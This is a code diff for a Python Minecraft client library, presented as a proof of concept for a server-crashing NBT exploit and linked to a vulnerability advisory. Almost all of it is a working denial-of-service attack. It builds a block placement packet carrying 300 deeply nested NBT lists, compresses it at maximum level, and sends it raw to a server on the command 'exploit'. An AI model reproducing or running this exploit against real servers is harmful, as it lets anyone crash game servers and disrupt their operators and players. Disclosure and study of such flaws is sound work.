Proof of concept for an nbt exploit to crash any minecraft server.

See http://blog.ammaraskar.com/minecraft-vulnerability-advisory/

minecraft/networking/connection.py

@@ -79,6 +79,11 @@ class Connection(object):
         else:
             self._outgoing_packet_queue.append(packet)
 
+    def write_raw(self, data):
+        self._write_lock.acquire()
+        self.socket.send(data)
+        self._write_lock.release()
+
     def register_packet_listener(self, method, *args):
         """
         Registers a listener method which will be notified when a packet of

minecraft/networking/packets.py

@@ -3,7 +3,7 @@ from zlib import compress
 
 from .types import (
     VarInt, Integer, Float, Double, UnsignedShort, Long, Byte, UnsignedByte,
-    String, VarIntPrefixedByteArray, Boolean
+    String, VarIntPrefixedByteArray, Boolean, Short, ByteArray
 )
 
 
@@ -83,8 +83,8 @@ class Packet(object):
         # compression_threshold of None means compression is disabled
         if compression_threshold is not None:
             if len(packet_buffer.get_writable()) > compression_threshold != -1:
-                # compress the current payload
+                # compress the current payload, level of 9 for max compression
-                compressed_data = compress(packet_buffer.get_writable())
+                compressed_data = compress(packet_buffer.get_writable(), 9)
                 packet_buffer.reset()
                 # write out the length of the compressed payload
                 VarInt.send(len(compressed_data), packet_buffer)
@@ -311,8 +311,25 @@ class PositionAndLookPacket(Packet):
         {'on_ground': Boolean}]
 
 
+class BlockPlacementPacket(Packet):
+    id = 0x08
+    packet_name = "block placement"
+    definition = [
+        {'position': Double},
+        {'face': Byte},
+        {'held_item_id': Short},
+        {'held_item_count': Byte},
+        {'held_item_damage': Short},
+        {'held_item_nbt': ByteArray},
+        {'cursor_position_x': Byte},
+        {'cursor_position_y': Byte},
+        {'cursor_position_z': Byte}
+    ]
+
+
 STATE_PLAYING_SERVERBOUND = {
     0x00: KeepAlivePacket,
     0x01: ChatPacket,
-    0x06: PositionAndLookPacket
+    0x06: PositionAndLookPacket,
+    0x08: BlockPlacementPacket
 }

minecraft/networking/types.py

@@ -166,6 +166,16 @@ class Double(Type):
         socket.send(struct.pack('>d', value))
 
 
+class ByteArray(Type):
+    @staticmethod
+    def read(file_object):
+        return b""
+
+    @staticmethod
+    def send(value, socket):
+        socket.send(value)
+
+
 class ShortPrefixedByteArray(Type):
     @staticmethod
     def read(file_object):

start.py

@@ -1,11 +1,13 @@
 import getpass
 import sys
+import struct
 from optparse import OptionParser
+from io import BytesIO
 
 from minecraft import authentication
 from minecraft.exceptions import YggdrasilError
 from minecraft.networking.connection import Connection
-from minecraft.networking.packets import ChatMessagePacket, ChatPacket
+from minecraft.networking.packets import BlockPlacementPacket, PacketBuffer
 from minecraft.compat import input
 
 
@@ -44,7 +46,67 @@ def get_options():
     return options
 
 
+def tag_id_and_name(nbt_id, name, data):
+    data.write(struct.pack('>b', nbt_id))
+    name = name.encode('utf-8')
+    data.write(struct.pack('>h', len(name)))
+    data.write(name)
+
+
+def write_lists(recursion_count, data):
+    if recursion_count > 4:
+        return
+
+    tag_id_and_name(9, "", data)
+    # id of list
+    data.write(struct.pack('>b', 9))
+    # number of list elements, lol
+    data.write(struct.pack('>i', 10))
+    for i in range(10):
+        write_lists(recursion_count + 1, data)
+
+
+def generate_exploitative_nbt():
+    data = BytesIO()
+
+    # top compound id
+    tag_id_and_name(10, "rekt", data)
+
+    # 300 lists, each containing 5 levels of lists
+    for i in range(300):
+        if i % 20 == 0:
+            print("List count: " + str(i))
+        write_lists(0, data)
+
+    # top compound end
+    data.write(struct.pack('>b', 0))
+    return data.getvalue()
+
+
 def main():
+    exploit_data = generate_exploitative_nbt()
+    print("Exploit length: " + str(len(exploit_data)))
+
+    exploit_packet_data = PacketBuffer()
+
+    exploit_packet = BlockPlacementPacket()
+    exploit_packet.position = 0
+    exploit_packet.face = 0
+    exploit_packet.held_item_id = 1
+    exploit_packet.held_item_count = 1
+    exploit_packet.held_item_damage = 0
+    # Only important field, rest are junk
+    exploit_packet.held_item_nbt = exploit_data
+    exploit_packet.cursor_position_x = 0
+    exploit_packet.cursor_position_y = 0
+    exploit_packet.cursor_position_z = 0
+
+    # threshold doesn't matter, this packet is gonna be above it anyway :3
+    exploit_packet.write(exploit_packet_data, compression_threshold=500)
+    exploit_packet_data = exploit_packet_data.get_writable()
+
+    print("Exploit packet length: " + str(len(exploit_packet_data)))
+
     options = get_options()
 
     auth_token = authentication.AuthenticationToken()
@@ -59,17 +121,11 @@ def main():
     connection = Connection(options.address, options.port, auth_token)
     connection.connect()
 
-    def print_chat(chat_packet):
-        print("Position: " + str(chat_packet.position))
-        print("Data: " + chat_packet.json_data)
-
-    connection.register_packet_listener(print_chat, ChatMessagePacket)
     while True:
         try:
             text = input()
-            packet = ChatPacket()
+            if text == "exploit":
-            packet.message = text
+                connection.write_raw(exploit_packet_data)
-            connection.write_packet(packet)
         except KeyboardInterrupt:
             print("Bye!")
             sys.exit()